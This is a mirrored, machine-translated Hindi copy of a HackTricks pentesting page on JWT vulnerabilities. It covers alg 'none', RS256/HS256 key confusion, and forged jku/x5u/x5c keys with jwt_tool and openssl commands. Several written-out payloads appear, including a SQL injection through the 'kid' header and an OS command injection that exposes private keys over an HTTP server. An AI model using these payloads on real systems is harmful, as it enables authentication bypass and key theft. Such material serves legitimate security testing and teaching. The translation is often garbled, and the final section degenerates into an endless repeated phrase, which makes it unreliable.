mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
246 lines
36 KiB
Markdown
246 lines
36 KiB
Markdown
# JWT वंलरेबिलिटीज (Json Web Tokens)
|
||
|
||
<details>
|
||
|
||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks का समर्थन करने के अन्य तरीके:
|
||
|
||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github रेपो में PR जमा करके।
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
**इस पोस्ट का एक हिस्सा यह शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||
**JWTs को पेंटेस्ट करने के लिए महान टूल के लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||
|
||
### **त्वरित जीतें**
|
||
|
||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) को मोड `All Tests!` के साथ चलाएं और हरे रेखाओं का इंतजार करें
|
||
```bash
|
||
python3 jwt_tool.py -M at \
|
||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||
```
|
||
यदि आप भाग्यशाली हैं तो यह उपकरण कुछ मामला ढूंढ़ लेगा जहाँ वेब एप्लिकेशन JWT की गलत जांच कर रहा है:
|
||
|
||
.png>)
|
||
|
||
फिर, आप अपने प्रॉक्सी में अनुरोध की खोज कर सकते हैं या jwt\_ उपकरण का उपयोग करके उस अनुरोध के लिए उपयोग किए गए JWT को डंप कर सकते हैं:
|
||
```bash
|
||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||
```
|
||
### डेटा में हस्तक्षेप करें बिना कुछ संशोधित किए
|
||
|
||
आप बस डेटा में हस्तक्षेप कर सकते हैं और सिग्नेचर को छोड़कर देख सकते हैं कि सर्वर सिग्नेचर की जांच कर रहा है या नहीं। उदाहरण के लिए अपना उपयोगकर्ता नाम "व्यवस्थापक" में बदलने का प्रयास करें।
|
||
|
||
#### **क्या टोकन की जांच की जाती है?**
|
||
|
||
JWT के सिग्नेचर की सत्यापन की जा रही है या नहीं, इसे जांचने के लिए:
|
||
|
||
* एक त्रुटि संदेश सत्यापन की सुझावित है; वर्बोस त्रुटियों में संवेदनशील विवरण की समीक्षा करनी चाहिए।
|
||
* वापस आए पृष्ठ में परिवर्तन भी सत्यापन को दर्शाता है।
|
||
* कोई परिवर्तन सत्यापन की अभाव की सुझावित करता है; यह वह समय है जब पेयलोड क्लेम्स के साथ हस्तक्षेप करने का प्रयास करना है।
|
||
|
||
### मूल
|
||
|
||
टोकन का उत्पादन सर्वर-साइड से हुआ है या क्लाइंट-साइड से, इसे प्रॉक्सी के अनुरोध इतिहास की जांच करके निर्धारित करना महत्वपूर्ण है।
|
||
|
||
* क्लाइंट साइड से पहली बार देखे गए टोकन इसका सुझाव देते हैं कि कुंजी को क्लाइंट-साइड कोड को उजागर किया जा सकता है, जिससे आगे जांच की आवश्यकता होती है।
|
||
* सर्वर-साइड से उत्पन्न टोकन सुरक्षित प्रक्रिया की ओर संकेत करते हैं।
|
||
|
||
### अवधि
|
||
|
||
जांचें कि क्या टोकन 24 घंटे से अधिक चलता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फील्ड है, तो यह देखें कि क्या सर्वर इसे सही से संभाल रहा है।
|
||
|
||
### हैश-बल एमएसी सीक्रेट को ब्रूट-फोर्स करें
|
||
|
||
[**इस पृष्ठ को देखें।**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||
|
||
### एल्गोरिथ्म को नन (CVE-2015-9235) में बदलें
|
||
|
||
उपयोग किए जाने वाले एल्गोरिथ्म को "कोई" में सेट करें और सिग्नेचर भाग को हटा दें।
|
||
|
||
इस वंशवाद को प्रयास करने और JWT के भीतर विभिन्न मानों को बदलने के लिए बर्प एक्सटेंशन कॉल "JSON वेब टोकन" का उपयोग करें (अनुरोध को रिपीटर में भेजें और "JSON वेब टोकन" टैब में टोकन के मानों को संशोधित कर सकते हैं। आप "एल्ग" फील्ड के मान को "कोई" में डालने का चयन भी कर सकते हैं)।
|
||
|
||
### एल्गोरिथ्म को बदलें RS256(असममित्र) से HS256(सममित्र) (CVE-2016-5431/CVE-2016-10555)
|
||
|
||
एल्गोरिथ्म HS256 प्रत्येक संदेश को साइन और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
|
||
एल्गोरिथ्म RS256 संदेश को साइन करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||
|
||
यदि आप एल्गोरिथ्म को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी के रूप में गुप्त कुंजी का उपयोग करता है और फिर हस्म256 एल्गोरिथ्म का उपयोग करके सिग्नेचर की सत्यापन करता है।
|
||
|
||
फिर, सार्वजनिक कुंजी का उपयोग करके और RS256 को HS256 में बदलकर हम एक मान्य सिग्नेचर बना सकते हैं। इसे निष्पादित करने के लिए वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:
|
||
```bash
|
||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||
```
|
||
### हेडर के अंदर नया सार्वजनिक कुंजी
|
||
|
||
एक हमलावर टोकन के हेडर में एक नयी कुंजी एम्बेड करता है और सर्वर इस नयी कुंजी का उपयोग करता है जांच के लिए (CVE-2018-0114).
|
||
|
||
इसे "JSON Web Tokens" Burp extension के साथ किया जा सकता है।\
|
||
(अनुरोध को Repeater में भेजें, JSON Web Token टैब में "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।
|
||
|
||
### JWKS स्पूफिंग
|
||
|
||
निर्देश एक विधि का विवरण देते हैं जो JWT टोकन की सुरक्षा का मूल्यांकन करने के लिए है, विशेष रूप से उन टोकनों के लिए जो "jku" हेडर क्लेम का उपयोग करते हैं। यह क्लेम उस JWKS (JSON Web Key Set) फ़ाइल को लिंक करना चाहिए जिसमें टोकन की सत्यापन के लिए आवश्यक सार्वजनिक कुंजी हो।
|
||
|
||
* **"jku" हेडर के साथ टोकन का मूल्यांकन करना**:
|
||
* "jku" क्लेम के URL की पुष्टि करें ताकि यह उचित JWKS फ़ाइल पर पहुंचे।
|
||
* टोकन के "jku" मान को नियंत्रित वेब सेवा की ओर प्रेषित करने के लिए संशोधित करें, जिससे ट्रैफ़िक अवलोकन किया जा सके।
|
||
* **HTTP इंटरैक्शन के लिए मॉनिटरिंग**:
|
||
* आपके निर्दिष्ट URL पर HTTP अनुरोधों का अवलोकन करना सर्वर की कोशिशों को सूचित करता है कि वह आपके प्रदत्त लिंक से कुंजियाँ प्राप्त करने का प्रयास कर रहा है।
|
||
* इस प्रक्रिया के लिए `jwt_tool` का उपयोग करते समय, टेस्टिंग को सुविधाजनक बनाने के लिए अपनी व्यक्तिगत JWKS स्थान को `jwtconf.ini` फ़ाइल में अपडेट करना महत्वपूर्ण है।
|
||
* **`jwt_tool` के लिए कमांड**:
|
||
* निम्नलिखित कमांड को नकली दृश्य के साथ दृश्यांकन के लिए निष्पादित करें `jwt_tool` के साथ:
|
||
|
||
```bash
|
||
python3 jwt_tool.py JWT_HERE -X s
|
||
```
|
||
|
||
### Kid मुद्दों का सारांश
|
||
|
||
एक वैकल्पिक हेडर क्लेम जिसे `kid` के रूप में जाना जाता है, एक विशेष कुंजी की पहचान के लिए उपयोग किया जाता है, जो विशेष रूप से उन परिस्थितियों में महत्वपूर्ण हो जाता है जहाँ टोकन हस्ताक्षर सत्यापन के लिए कई कुंजियाँ मौजूद होती हैं। यह क्लेम टोकन के हस्ताक्षर सत्यापन के लिए उचित कुंजी का चयन करने में मदद करता है।
|
||
|
||
#### "kid" के माध्यम से कुंजी का प्रकटीकरण
|
||
|
||
जब `kid` क्लेम हेडर में मौजूद होता है, तो संबंधित फ़ाइल या उसके विविधताएँ के लिए वेब निर्देशिका में खोज की सलाह दी जाती है। उदाहरण के लिए, यदि `"kid":"key/12345"` निर्दिष्ट है, तो फ़ाइल _/key/12345_ और _/key/12345.pem_ की वेब रूट में खोजी जानी चाहिए।
|
||
|
||
#### "kid" के साथ पथ अभियान
|
||
|
||
`kid` क्लेम का उपयोग फ़ाइल सिस्टम के माध्यम से नेविगेट करने के लिए किया जा सकता है, जिससे किसी भी विचित्र फ़ाइल का चयन किया जा सकता है। विशेष फ़ाइलों या सेवाओं को लक्षित करने के लिए `kid` मान को बदलकर कनेक्टिविटी का परीक्षण करना या सर्वर-साइड अनुरोध फर्जी (SSRF) हमले को निष्पादित करना संभावित है। `jwt_tool` में `kid` मान को बदलने के लिए JWT में हस्ताक्षर को बनाए रखते हुए `-T` ध्वज का उपयोग करके इस प्रक्रिया को पूरा किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है:
|
||
```bash
|
||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||
```
|
||
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
|
||
|
||
#### "kid" के माध्यम से SQL Injection
|
||
|
||
यदि `kid` क्लेम की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो `kid` पेलोड को संशोधित करके SQL इंजेक्शन को सुविधाजनक बनाया जा सकता है। जेडब्ल्यूटी ग्राहक प्रक्रिया को संशोधित करने के लिए एक उदाहरण पेलोड शामिल है:
|
||
|
||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||
|
||
यह संशोधन JWT साइनिंग प्रक्रिया के लिए एक ज्ञात गुप्त कुंजी, `ATTACKER`, का उपयोग करने के लिए बाध्य करता है।
|
||
|
||
#### "kid" के माध्यम से ओएस इंजेक्शन
|
||
|
||
एक स्थिति जहाँ `kid` पैरामीटर एक कमांड निष्पादन संदर्भ में उपयोग किए जाने वाले फ़ाइल पथ को निर्दिष्ट करता है, रिमोट कोड निष्पादन (RCE) जोखिमों में ले जा सकता है। `kid` पैरामीटर में कमांड इंजेक्शन करके, निजी कुंजीयों को उजागर करना संभव है। RCE और कुंजी उजागर करने के लिए एक उदाहरण पेलोड है:
|
||
|
||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||
|
||
### x5u और jku
|
||
|
||
#### jku
|
||
|
||
jku का मतलब है **JWK Set URL**.\
|
||
यदि टोकन एक “**jku**” **Header** क्लेम का उपयोग करता है तो **प्रदत्त URL की जाँच करें**। यह एक URL पर पोइंट करना चाहिए जो टोकन को सत्यापित करने के लिए सार्वजनिक कुंजी रखने वाली JWKS फ़ाइल को धारण करता है। टोकन को तबादला करें ताकि jku मान एक वेब सेवा की ओर पोइंट करे जिस पर आप ट्रैफ़िक की निगरानी कर सकते हैं।
|
||
|
||
सबसे पहले आपको एक नया प्रमाणपत्र बनाना होगा नए निजी और सार्वजनिक कुंजीयों के साथ
|
||
```bash
|
||
openssl genrsa -out keypair.pem 2048
|
||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||
```
|
||
तो आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं नए JWT बनाने के लिए **निर्मित सार्वजनिक और निजी कुंजीयों के साथ और पैरामीटर jku को बनाए गए प्रमाणपत्र पर प्वाइंट करके।** एक वैध jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर बदल सकते हैं।
|
||
|
||
आप एक सार्वजनिक प्रमाणपत्र से "e" और "n" पैरामीटर प्राप्त कर सकते हैं:
|
||
```bash
|
||
from Crypto.PublicKey import RSA
|
||
fp = open("publickey.crt", "r")
|
||
key = RSA.importKey(fp.read())
|
||
fp.close()
|
||
print("n:", hex(key.n))
|
||
print("e:", hex(key.e))
|
||
```
|
||
#### x5u
|
||
|
||
X.509 URL. एक URI जो X.509 (एक प्रमाण पत्र प्रारूप मानक) सार्वजनिक प्रमाण पत्रों की सेट पर पोइंट करता है जो PEM रूप में एन्कोड किए गए हैं। सेट में पहला प्रमाण पत्र वह होना चाहिए जिसका उपयोग इस JWT को साइन करने के लिए किया गया है। आगामी प्रमाण पत्र पिछले प्रमाण पत्र को हस्ताक्षर करते हैं, जिससे प्रमाण पत्र श्रृंखला पूरी हो जाती है। X.509 को RFC 5280 में परिभाषित किया गया है। प्रमाण पत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा आवश्यक है।
|
||
|
||
इस हेडर को **अपने नियंत्रण में एक URL में बदलने** का प्रयास करें और देखें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप **JWT को बिगाड़ सकते हैं**।
|
||
|
||
आपके नियंत्रण में एक प्रमाण पत्र का उपयोग करके एक नया टोकन जाल सकते हैं, इसके लिए आपको प्रमाण पत्र बनाना होगा और सार्वजनिक और निजी कुंजी निकालनी होगी:
|
||
```bash
|
||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||
```
|
||
तो आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं नए JWT बनाने के लिए **निर्मित सार्वजनिक और निजी कुंजीयों के साथ और पैरामीटर x5u को चिह्नित करके प्रमाणपत्र .crt बनाए गए को उपयोग करने के लिए।**
|
||
|
||
.png>)
|
||
|
||
आप इन दोनों दुर्बलताओं का दुरुपयोग भी कर सकते हैं **SSRFs के लिए**।
|
||
|
||
#### x5c
|
||
|
||
इस पैरामीटर में **बेस64 में प्रमाणपत्र** हो सकता है:
|
||
|
||
.png>)
|
||
|
||
अगर हमलावर **एक स्व-साइन किया गया प्रमाणपत्र** उत्पन्न करता है और उसके संबंधित निजी कुंजी का उपयोग करता है और "x5c" पैरामीटर के मान को नवीनतम उत्पन्न प्रमाणपत्र के साथ बदलता है और अन्य पैरामीटरों, अर्थात n, e और x5t को संशोधित करता है तो मुख्य रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।
|
||
```bash
|
||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||
openssl x509 -in attacker.crt -text
|
||
```
|
||
### एम्बेडेड पब्लिक की (CVE-2018-0114)
|
||
|
||
यदि JWT में एक पब्लिक की जैसा एम्बेडेड है जैसे निम्नलिखित परिदृश्य में:
|
||
|
||
.png>)
|
||
|
||
निम्नलिखित nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक पब्लिक की उत्पन्न करना संभव है:
|
||
```bash
|
||
const NodeRSA = require('node-rsa');
|
||
const fs = require('fs');
|
||
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
|
||
e = "AQAB";
|
||
const key = new NodeRSA();
|
||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||
console.log(importedKey.exportKey("public"));
|
||
```
|
||
एक नए निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नए सार्वजनिक कुंजी को टोकन के अंदर समाहित करना और इसका उपयोग एक नया हस्ताक्षर उत्पन्न करने के लिए कर सकते हैं:
|
||
```bash
|
||
openssl genrsa -out keypair.pem 2048
|
||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||
```
|
||
आप इस nodejs स्क्रिप्ट का उपयोग करके "n" और "e" प्राप्त कर सकते हैं:
|
||
```bash
|
||
const NodeRSA = require('node-rsa');
|
||
const fs = require('fs');
|
||
keyPair = fs.readFileSync("keypair.pem");
|
||
const key = new NodeRSA(keyPair);
|
||
const publicComponents = key.exportKey('components-public');
|
||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||
```
|
||
### अंत में, सार्वजनिक और निजी कुंजी और नए "n" और "e" मानों का उपयोग करके आप [jwt.io](https://jwt.io) का उपयोग करके किसी भी जानकारी के साथ एक नया मान्य JWT बना सकते हैं।
|
||
|
||
### JTI (JWT ID)
|
||
|
||
JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। यह टोकन को पुनः चलाने से रोकने के लिए उपयोग किया जा सकता है।\
|
||
हालांकि, एक स्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है तो आप इसका दुरुपयोग कर सकते हैं **एक अनुरोध को पुनः चलाने के लिए** (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता है)।
|
||
|
||
### JWT पंजीकृत दावे
|
||
|
||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||
|
||
### अन्य हमले
|
||
|
||
**क्रॉस-सर्विस रिले अटैक**
|
||
|
||
कुछ वेब एप्लिकेशनों पर ध्यान दिया गया है कि वे अपने टोकन के जनरेशन और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर हैं। कुछ मामलों में देखा गया है कि एक टोकन, जो JWT सेवा द्वारा एक ग्राहक के लिए उत्पन्न किया गया था, उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया था। यदि तीसरी पक्ष सेवा के माध्यम से एक JWT का जारी किया जाना या नवीकरण देखा जाता है, तो उसी उपयोगकर्ता के लिए एक खाते पर साइन अप करने की संभावना जांचनी चाहिए। फिर यह देखने का प्रयास किया जाना चाहिए कि प्राप्त टोकन को एक अनुरोध में पुनः चलाया जाता है या नहीं।
|
||
|
||
* आपके टोकन को स्वीकृति मिलने पर एक महत्वपूर्ण मुद्दा संकेतित हो सकता है, जो किसी भी उपयोगकर्ता के खाते का धोखा देने की संभावना हो सकती है। हालांकि, यह ध्यान देना चाहिए कि तीसरे पक्ष एप्लिकेशन पर साइन अप करने के लिए अधिक टेस्टिंग की अनुमति चाहिए, क्योंकि यह कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है।
|
||
|
||
**टोकन की समाप्ति की जांच**
|
||
|
||
टोकन की समाप्ति "exp" पेलोड दावा का उपयोग करके जांची जाती है। जबकि JWTs अक्सर सत्र सूचना के बिना प्रयुक्त होते हैं, सावधान व्यवस्था की आवश्यकता होती है। बहुत सारे मामलों में, दूसरे उपयोगकर्ता के JWT को कैप्चर और पुनः चलाने की अनुमति देने से उस उपयोगकर्ता का अनुकरण संभव हो सकता है। JWT RFC यह सुझाव देता है कि JWT पुनः चलाने हमलों को कम करने के लिए "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना। इसके अतिरिक्त, इस मूल्य की प्रसंस्करण की प्रक्रिया और समाप्त हो गए टोकन की अस्वीकृति की सुनिश्चित करने के लिए अनुपालन के लिए आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द्वारा आवेदन के द
|